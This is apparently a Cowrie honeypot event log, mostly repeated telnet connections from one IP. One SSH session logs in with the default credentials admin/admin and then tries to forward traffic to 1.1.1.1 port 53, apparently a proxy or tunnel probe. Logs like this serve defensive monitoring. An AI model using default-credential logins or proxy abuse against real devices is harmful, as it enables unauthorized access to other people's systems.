{"eventid":"cowrie.session.closed","duration":30.61600923538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.092390Z","src_ip":"204.10.38.242","session":"670593d775a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734134674072266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.204024Z","src_ip":"204.10.38.242","session":"89bea5453294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80916213989258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.396460Z","src_ip":"204.10.38.242","session":"9d9fc96ec4b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38680,"dst_ip":"159.203.135.109","dst_port":23,"session":"87f0a9028f29","protocol":"telnet","message":"New connection: 204.10.38.242:38680 (159.203.135.109:23) [session: 87f0a9028f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.432172Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38732,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bde6802847b","protocol":"telnet","message":"New connection: 204.10.38.242:38732 (159.203.135.109:23) [session: 7bde6802847b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.438721Z"}
{"eventid":"cowrie.session.closed","duration":31.330994129180908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.680457Z","src_ip":"204.10.38.242","session":"ea8be794dc20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.671043157577515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:19.718440Z","src_ip":"204.10.38.242","session":"4e105e827e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54890,"dst_ip":"159.203.135.109","dst_port":23,"session":"405151a94c26","protocol":"telnet","message":"New connection: 204.10.38.242:54890 (159.203.135.109:23) [session: 405151a94c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.004071Z"}
{"eventid":"cowrie.session.closed","duration":30.657705545425415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.115838Z","src_ip":"204.10.38.242","session":"54b556bbbe89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13334560394287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.139307Z","src_ip":"204.10.38.242","session":"d2cfb8b2418e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043118238449097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.152346Z","src_ip":"204.10.38.242","session":"758be8dc48c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42046,"dst_ip":"159.203.135.109","dst_port":23,"session":"993b0868eb6a","protocol":"telnet","message":"New connection: 204.10.38.242:42046 (159.203.135.109:23) [session: 993b0868eb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.202015Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43734,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bb34a88a381","protocol":"telnet","message":"New connection: 204.10.38.242:43734 (159.203.135.109:23) [session: 8bb34a88a381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.511391Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":39648,"dst_ip":"159.203.135.109","dst_port":23,"session":"7094d6490912","protocol":"telnet","message":"New connection: 204.10.38.242:39648 (159.203.135.109:23) [session: 7094d6490912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.617769Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45702,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb70c1b8e826","protocol":"telnet","message":"New connection: 204.10.38.242:45702 (159.203.135.109:23) [session: fb70c1b8e826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:20.897057Z"}
{"eventid":"cowrie.session.closed","duration":30.717921495437622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:21.094385Z","src_ip":"204.10.38.242","session":"ca982fa74229","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46616,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dd29035ef2f","protocol":"telnet","message":"New connection: 204.10.38.242:46616 (159.203.135.109:23) [session: 3dd29035ef2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:21.138579Z"}
{"eventid":"cowrie.session.closed","duration":30.989147901535034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:21.193668Z","src_ip":"204.10.38.242","session":"054db1fd795e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7c96b167e11","protocol":"telnet","message":"New connection: 204.10.38.242:47790 (159.203.135.109:23) [session: f7c96b167e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:21.365707Z"}
{"eventid":"cowrie.session.closed","duration":30.692873239517212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:21.452419Z","src_ip":"204.10.38.242","session":"f8cae10f35d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098724603652954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:21.817937Z","src_ip":"204.10.38.242","session":"8fae1f293046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50552,"dst_ip":"159.203.135.109","dst_port":23,"session":"c88bd2aba42c","protocol":"telnet","message":"New connection: 204.10.38.242:50552 (159.203.135.109:23) [session: c88bd2aba42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:21.870445Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51490,"dst_ip":"159.203.135.109","dst_port":23,"session":"125448bb8a7e","protocol":"telnet","message":"New connection: 204.10.38.242:51490 (159.203.135.109:23) [session: 125448bb8a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:22.138705Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55650,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2e70009334","protocol":"telnet","message":"New connection: 204.10.38.242:55650 (159.203.135.109:23) [session: 4c2e70009334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:22.971723Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55680,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df70779d7a7","protocol":"telnet","message":"New connection: 204.10.38.242:55680 (159.203.135.109:23) [session: 4df70779d7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:22.979824Z"}
{"eventid":"cowrie.session.closed","duration":30.81298303604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:23.121663Z","src_ip":"204.10.38.242","session":"45a72e23f26c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613234043121338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:23.126177Z","src_ip":"204.10.38.242","session":"9845c81050ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7291157245636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:23.151431Z","src_ip":"204.10.38.242","session":"6edd006c1be2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56600,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e84c6c8f2cb","protocol":"telnet","message":"New connection: 204.10.38.242:56600 (159.203.135.109:23) [session: 1e84c6c8f2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:23.279852Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"3811f7738a93","protocol":"telnet","message":"New connection: 204.10.38.242:56740 (159.203.135.109:23) [session: 3811f7738a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:23.306378Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":39694,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b4275c3193a","protocol":"telnet","message":"New connection: 191.251.162.82:39694 (159.203.135.109:23) [session: 1b4275c3193a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:23.508725Z"}
{"eventid":"cowrie.session.closed","duration":31.129234313964844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:24.098225Z","src_ip":"204.10.38.242","session":"e32ad705c4f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191524982452393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:24.151069Z","src_ip":"204.10.38.242","session":"24c169cb8bea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92636728286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:24.299969Z","src_ip":"204.10.38.242","session":"662206dea59f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787975072860718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:24.391042Z","src_ip":"204.10.38.242","session":"a43e827bba01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35480,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7e1983c768f","protocol":"telnet","message":"New connection: 204.10.38.242:35480 (159.203.135.109:23) [session: a7e1983c768f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:24.782020Z"}
{"eventid":"cowrie.session.closed","duration":31.612830877304077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:24.941986Z","src_ip":"204.10.38.242","session":"c48740e4546f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66064691543579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.097302Z","src_ip":"204.10.38.242","session":"ece5e3877f12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818957090377808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.119067Z","src_ip":"204.10.38.242","session":"769178a60868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208174228668213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.164206Z","src_ip":"204.10.38.242","session":"030280c3a745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37412,"dst_ip":"159.203.135.109","dst_port":23,"session":"35df37014b79","protocol":"telnet","message":"New connection: 204.10.38.242:37412 (159.203.135.109:23) [session: 35df37014b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.300561Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52660,"dst_ip":"159.203.135.109","dst_port":23,"session":"26bc4e936955","protocol":"telnet","message":"New connection: 204.10.38.242:52660 (159.203.135.109:23) [session: 26bc4e936955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.386173Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56110,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b230d34cdf","protocol":"ssh","message":"New connection: 87.251.64.176:56110 (10.17.0.5:22) [session: e7b230d34cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.440987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.446008Z","src_ip":"87.251.64.176","session":"e7b230d34cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23879837989807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.533529Z","src_ip":"204.10.38.242","session":"fa797903f283","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.542607Z","src_ip":"87.251.64.176","session":"e7b230d34cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.251.162.82","src_port":39906,"dst_ip":"159.203.135.109","dst_port":23,"session":"905d2fae798c","protocol":"telnet","message":"New connection: 191.251.162.82:39906 (159.203.135.109:23) [session: 905d2fae798c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.608582Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.832668Z","src_ip":"87.251.64.176","session":"e7b230d34cdf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:25.932559Z","session":"e7b230d34cdf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:26.031185Z","src_ip":"87.251.64.176","session":"e7b230d34cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:26.131252Z","src_ip":"87.251.64.176","session":"e7b230d34cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38944,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca43009b8480","protocol":"telnet","message":"New connection: 204.10.38.242:38944 (159.203.135.109:23) [session: ca43009b8480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:26.488545Z"}
{"eventid":"cowrie.session.closed","duration":30.69102931022644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:26.587852Z","src_ip":"204.10.38.242","session":"5787c74fac11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.544182777404785,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:27.163487Z","src_ip":"204.10.38.242","session":"434ce3cc4bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47524,"dst_ip":"159.203.135.109","dst_port":23,"session":"09424f19ae98","protocol":"telnet","message":"New connection: 204.10.38.242:47524 (159.203.135.109:23) [session: 09424f19ae98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:27.411361Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43472,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ec3e2d88c0","protocol":"telnet","message":"New connection: 204.10.38.242:43472 (159.203.135.109:23) [session: f6ec3e2d88c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:27.462559Z"}
{"eventid":"cowrie.session.closed","duration":31.56609845161438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:27.905583Z","src_ip":"204.10.38.242","session":"97e0fbd47415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73931050300598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:28.065392Z","src_ip":"204.10.38.242","session":"f29833650568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836068153381348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:28.140544Z","src_ip":"204.10.38.242","session":"0d8f7bdad7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60764,"dst_ip":"159.203.135.109","dst_port":23,"session":"37214f2ad7e9","protocol":"telnet","message":"New connection: 204.10.38.242:60764 (159.203.135.109:23) [session: 37214f2ad7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:28.184058Z"}
{"eventid":"cowrie.session.closed","duration":30.941211938858032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:28.727045Z","src_ip":"204.10.38.242","session":"22e1d921f43e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.720083475112915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:28.890867Z","src_ip":"204.10.38.242","session":"51f84a88d40d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50464,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba260c96457e","protocol":"telnet","message":"New connection: 204.10.38.242:50464 (159.203.135.109:23) [session: ba260c96457e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:29.014396Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55984,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e6b58c2d22","protocol":"telnet","message":"New connection: 204.10.38.242:55984 (159.203.135.109:23) [session: 89e6b58c2d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:29.184844Z"}
{"eventid":"cowrie.session.closed","duration":31.142946004867554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:29.505318Z","src_ip":"204.10.38.242","session":"0aa6ef0119bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33126711845398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:30.179825Z","src_ip":"204.10.38.242","session":"494afb11515b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05077290534973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:30.233708Z","src_ip":"204.10.38.242","session":"2a1fd1c54ed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889307260513306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:30.271722Z","src_ip":"204.10.38.242","session":"d552b51daa30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56696,"dst_ip":"159.203.135.109","dst_port":23,"session":"d324ea439542","protocol":"telnet","message":"New connection: 204.10.38.242:56696 (159.203.135.109:23) [session: d324ea439542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:30.354924Z"}
{"eventid":"cowrie.session.closed","duration":30.714077711105347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:30.987927Z","src_ip":"204.10.38.242","session":"cac03d55ce36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73504614830017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:31.085644Z","src_ip":"204.10.38.242","session":"2b987850acb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789666414260864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:31.112302Z","src_ip":"204.10.38.242","session":"058968dc732b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563075304031372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:31.148438Z","src_ip":"204.10.38.242","session":"c435ecd1e99c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689985036849976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:31.191875Z","src_ip":"204.10.38.242","session":"713ed24860a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.767329454421997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:31.241223Z","src_ip":"204.10.38.242","session":"42829a6fd751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.563807010650635,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:31.893658Z","src_ip":"204.10.38.242","session":"1c4c30ee1dcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58935546875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:53:32.157749Z","src_ip":"204.10.38.242","session":"95e2eb11e55a","protocol":"telnet"}
